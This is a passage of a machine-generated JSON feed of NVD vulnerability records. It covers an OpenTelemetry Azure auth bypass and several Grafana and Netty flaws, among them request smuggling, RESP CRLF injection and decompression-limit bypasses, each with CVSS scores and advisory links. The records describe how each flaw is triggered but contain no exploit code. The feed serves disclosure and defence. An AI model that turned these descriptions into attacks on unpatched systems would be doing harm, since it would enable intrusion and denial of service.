supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42602","cveId":"CVE-2026-42602","aliases":[],"kind":"vulnerability","title":"azureauthextension is the Azure Authenticator Extension.","summary":"azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).","detail":"azureauthextension is the Azure Authenticator Extension. From 0.124.0 to 0.150.0, a server-side authentication bypass in azureauthextension allows any party who holds a single valid Azure access token for any scope the collector's configured identity can mint for to authenticate to any OpenTelemetry receiver that uses auth: azure_auth. The extension's Authenticate method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality — and the scope for that server-side token request is taken from the client-supplied Host header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching Host. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens).\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T21:16:47.210Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"opentelemetry","product":"opentelemetry collector contrib","stacks":["Microsoft Azure","opentelemetry collector contrib"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42602","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42602","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42602","type":"primary","publishedAt":"2026-05-13T21:16:47.210Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/open-telemetry/opentelemetry-collector-contrib/security/advisories/GHSA-pjv4-3c63-699f","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33381","cveId":"CVE-2026-33381","aliases":[],"kind":"vulnerability","title":"When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event.","summary":"When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.","detail":"When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:20.803Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"grafana","product":"grafana","stacks":["Grafana","grafana"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33381","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33381","type":"primary","publishedAt":"2026-05-13T20:16:20.803Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://grafana.com/security/security-advisories/cve-2026-33381","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33377","cveId":"CVE-2026-33377","aliases":[],"kind":"vulnerability","title":"An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard.","summary":"An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.","detail":"An Editor can overwrite a dashboard not owned by them to acquire admin on that specific dashboard. The user must have write access to the dashboard to escalate privilege.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:20.470Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"grafana","product":"grafana","stacks":["Grafana","grafana"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33377","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33377","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33377","type":"primary","publishedAt":"2026-05-13T20:16:20.470Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://grafana.com/security/security-advisories/cve-2026-33377","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33376","cveId":"CVE-2026-33376","aliases":[],"kind":"vulnerability","title":"When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses.","summary":"When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.","detail":"When using an IPv6 allow-list for the Auth Proxy feature, it defaults to /32 addresses. Addresses specifying a mask explicitly are not affected; to mitigate easily, add the desired mask (usually /128) to the addresses. Only auth proxy is affected; Okta, SAML, LDAP, etc are unaffected here.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T20:16:20.367Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"grafana","product":"grafana","stacks":["Grafana","grafana"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33376","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33376","type":"primary","publishedAt":"2026-05-13T20:16:20.367Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://grafana.com/security/security-advisories/cve-2026-33376","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44248","cveId":"CVE-2026-44248","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader > maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:27.143Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44248","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44248","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44248","type":"primary","publishedAt":"2026-05-13T19:17:27.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-jfg9-48mv-9qgx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42587","cveId":"CVE-2026-42587","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service. The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:24.460Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42587","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42587","type":"primary","publishedAt":"2026-05-13T19:17:24.460Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42586","cveId":"CVE-2026-42586","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the Netty Redis codec encoder (RedisEncoder) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (\\r\\n) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:24.323Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42586","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42586","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42586","type":"primary","publishedAt":"2026-05-13T19:17:24.323Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42585","cveId":"CVE-2026-42585","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:24.187Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","type":"primary","publishedAt":"2026-05-13T19:17:24.187Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42584","cveId":"CVE-2026-42584","aliases":[],"kind":"vulnerability","title":"Netty is an asynchronous, event-driven network application framework.","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","detail":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T19:17:24.043Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"netty","product":"netty","stacks":["Netty","netty"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42584","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42584","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42584","type":"primary","publishedAt":"2026-05-13T19:17:24.043Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE 